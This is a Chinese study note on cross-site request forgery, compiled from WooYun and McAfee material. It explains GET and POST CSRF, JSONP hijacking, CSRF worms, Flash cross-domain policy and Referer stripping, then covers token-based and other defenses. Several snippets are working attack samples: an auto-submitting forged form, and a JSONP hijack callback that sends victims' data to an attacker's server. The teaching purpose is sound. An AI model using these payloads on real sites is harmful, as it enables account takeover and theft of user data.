分享

CSRF学习整理

 井梅 2018-09-25

整理自wuyun知识库和McAfee的CSRF攻防白皮书

0x00 CSRF 跨站请求伪造

由于目标站点无token/referer限制,导致攻击者可以以用户的身份执行操作。
关于CSRF的要点

  • 受害者不一定要登陆,取决于攻击者的目的。通常是借助受害者的认证身份执行操作
    然而CSRF也可以有其他的攻击形式,例如网上投票,Dos攻击。CSRF可以用于突破网站对IP地址,HTTP认证,SSL客户证书的限制。
  • 如果一个行为需要多次请求完全可以在一次CSRF攻击中实现
  • CSRF和其他漏洞的结合效果很好,目标网站的认证操作对攻击者很有用。
  • 攻击者通常不能从目标网站读取数据-CSRF很有效但也有局限性,由于同源策略一个域的脚本不能从另一个域中读取数据.因此一环套一环的多次action通常免疫CSRF。
    当然也有例外,比如前面提出的输出都可预测,攻击者就可以暴力破解或者猜。
  • 时刻警惕目标网站可以是任何受害者能够访问的网站,内网也一样。

    0x01 CSRF能干什么

    当人们谈论CSRF时,他们的意思是一个攻击者用CSRF欺骗做了看起来合理的行为。
    这些行为包括
  • 改变用户绑定的邮箱,接着找回密码拿下用户的账户
  • 为网站添加一个用户
  • 把用户账户的钱转走
  • 恶意囤货抢购
  • 检测特定文件判断目标的cms类型

调用web服务
用form的一个属性“encytpe” 可以传一个XML文件给webservice,例如:

<form action=”http://target./webservice” method=”POST” enctype=”text/plain”>
<input name=”<msg><attr><name>a</name><value>b</value></attr></msg>” value=””>
<input type=”submit”>
</form>

0x02 GET 类型CSRF

<img src=http:///csrf.php?xx=1 />
访问页面后就成功向http:///csrf.php 发送了一次请求
<link href="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">

0x03POST类型的CSRF

使用一个自动提交的表单

<form action=http:///csrf.php method=POST>
<input type="text" name='xx' value='11' />
</form>
<script>document.forms[0].submit();</script>

模拟用户完成了一次POST操作
也可以用JS动态生成

<script>
      new Image().src = 'http://192.168.0.100/joomla';
</script>

0x04JSON劫持攻击

web开发中常用的一种跨域获取的方法 JSONP
JSON with Padding 由于Javascript受同源策略的限制不能跨域读取
只能进行GET请求
前端html代码:

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
                alert(result.a); 
                alert(result.b);
                alert(result.c); 
                for(var i in result) { 
                alert(i+":"+result[i]);//循环输出a:1,b:2,etc.                                                } 
                 } 
 </script> 
<script type="text/javascript" src="http:///services.php?callback=jsonpCallback"></script>

后端的php代码:

<?php 
//服务端返回JSON数据 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//动态执行回调函数 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>

可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

攻击者可以在页面中构造自己的回调函数,然后把获取的数据都发到自己的服务器上

<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
                            }
new Image().src = "http://www./JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
                            } 
</script> 
<script type="text/javascript" src="http:///services.php?callback=hijack"></script>

0x05 CSRF蠕虫

在CSRF的攻击页面上嵌入蠕虫传播的攻击向量,蠕虫传播要面向不同的用户生成不同的请求。之前的攻击可预测所有的参数,现在必须想办法标识不同用户的数据。
1,服务端脚本获取
准备一个php,asp页面,可以检测Referer字段读取url中的用户id等。
2,JSON劫持
如果网站提供了这样的数据接口,可以用来获取敏感信息

0x06 flash CSRF

网站的根目录下有一个文件crossdomain.xml

<cross-domain-policy>
<allow-access-from domain="*.baidu.com" secure='true'/>
<allow-http-request-headers-from domain="*.baidu.com" headers='*'/>

secure='true' 表示只能通过安全连接请求
表示哪些域的flash请求可以读写本域的资源,同样可以读取token数据发送请求。

0x07 测试中要注意的问题

由于浏览器的特性跨协议请求时不带refer(Geckos内核除外)
利用 xxx.src='javascript:"HTML代码"'; 可以去掉refer

<iframe id='aa' src="" ></frame>
<script>
document.getElementById("aa").src='javascript:'<html><body>wuyun.org<scr'+'ipt>eval(使用的代码)</scr'+'ipt></body></html>
:
</script>

dedecms CSRF漏洞分析

http://paper./41/

0x08修复

所有的防御方法只有一个中心思想,建立一个秘密的参数,攻击者由于同源策略不能访问,又不能让龚记者绕过这个参数对网站操作。

  • 关键操作只接受POST请求
  • 添加验证码操作,增加与用户的互动,即便是最简陋的验证码也能起到很好的效果。
  • 检测refer ,此方法不推荐 因为很多时候根本就没有refer头,根据不同的浏览器,网站情况不同。
  • Token 主流防御方法
    CSRF成功的条件在于攻击者能够预测所有的参数构造出合法的请求。对参数进行加密,防止CSRF。
    或者保持原有的参数不变,额外增加一个参数Token(两个随机字符串的hash应该可以满足)
    Token是一次性的,每次成功后都更新Token

  • 临时设置cookie 将有效时间设置为1秒,其他的就认为是CSRF
    对于单域名网站的效果要好于token
    如果是多域名就不太好,子域可以修改父域的cookie
    缺点是无法防御由于其他子域产生的XSS表单伪造
function doit() {
    var expires = new Date((new Date()).getTime()+1000);
    document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
                }

1)在返回的脚本(JSON数据)开始部分加入“while(1)”
当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理
2) 使用POST表单提交的方式获取JSON数据:

当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。

0x09 保护自己

假设很多网站都在被CSRF攻击,作为普通用户如何保护自己。
1、及时注销退出账号
每次登陆网站操作过后及时退出是一个好习惯。注意那些只有基本认证的网站,通常浏览器将登陆凭证保存起来以备下次登陆。
如果选择的记住密码等等类似功能,CSRF就总会成功。
2、用不同的浏览器
大多数CSRF的目标都有一个有效的session便于攻击。比如一个浏览器用于敏感操作,另一个浏览器用于日常使用。或者用不同的虚拟机,小的OS搭载一个浏览器。
3、通过代理
IT管理员配置内网的时候可以让用户使用不同的浏览器做不同用途,给其中一个配好代理。假设访问外网一定要通过代理,而内网访问则不需要。例如将Chrome设置代理用来接外网,而IE用来内网访问。最大限度的保护内网。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多